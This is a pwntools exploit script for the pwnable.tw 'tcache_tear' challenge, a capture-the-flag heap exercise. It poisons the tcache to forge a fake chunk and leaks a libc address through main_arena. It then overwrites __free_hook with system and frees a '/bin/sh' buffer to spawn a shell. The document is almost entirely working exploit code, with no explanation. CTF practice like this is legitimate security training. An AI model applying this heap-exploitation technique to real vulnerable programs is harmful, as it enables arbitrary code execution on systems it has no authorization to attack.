1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83
| from pwn import *
exe = ELF("./tcache_tear_patched") libc = ELF("./libc-18292bd12d37bfaf58e8dded9db7f1f5da1192cb.so") ld = ELF("./ld-2.27.so")
context.binary = exe context.log_level = "debug"
def conn(): if args.LOCAL: r = process([exe.path]) else: r = remote("chall.pwnable.tw", 10207)
return r
def allocate (p, size, data): p.sendlineafter (b'Your choice :', b'1') p.sendafter (b'Size:', size) p.sendafter (b'Data:', data)
def free (p): p.sendlineafter (b'Your choice :', b'2')
def info (p): p.sendlineafter (b'Your choice :', b'3')
def main(): p = conn() name = 0x602060 ptr = 0x602088 p.sendafter (b'Name:', p64 (0) + p64 (0x501))
allocate (p, b'15', b'1') free(p) allocate (p, b'81', b'12') free(p)
allocate (p, b'15', b'A' * 16 + p64 (0) + p64 (0x61) + p64 (name + 0x500)) allocate (p, b'81', b'123') allocate (p, b'81', p64 (0) + p64 (0x21) + p64 (0) * 3 + p64 (0x21))
allocate (p, b'15', b'12345') free(p) allocate (p, b'70', b'123456') free(p)
allocate (p, b'15', b'A' * 16 + p64 (0) + p64 (0x51) + p64 (name + 16)) allocate (p, b'70', b'1234567') print ("This is for later exlpoit ####################################################################################################3") allocate (p, b'15', b'12345') free(p) allocate (p, b'50', b'123456') free(p) allocate (p, b'70', b'12345678') free(p) info(p) p.recvuntil (p64(0) + p64 (0x501)) main_arena = u64 (p.recv(8)) libc.address = main_arena - 0x3ebca0 print ('The address of main_arena is : ', hex (main_arena)) print ("The address of libc is : ", hex (libc.address))
allocate (p, b'15', b'A' * 16 + p64 (0) + p64 (0x41) + p64 (libc.symbols['__free_hook'])) allocate (p, b'50', b'1234567') allocate (p, b'50', p64 (libc.symbols['system']))
allocate (p, b'30', b'/bin/sh\x00') free(p)
p.interactive()
if __name__ == "__main__": main()
|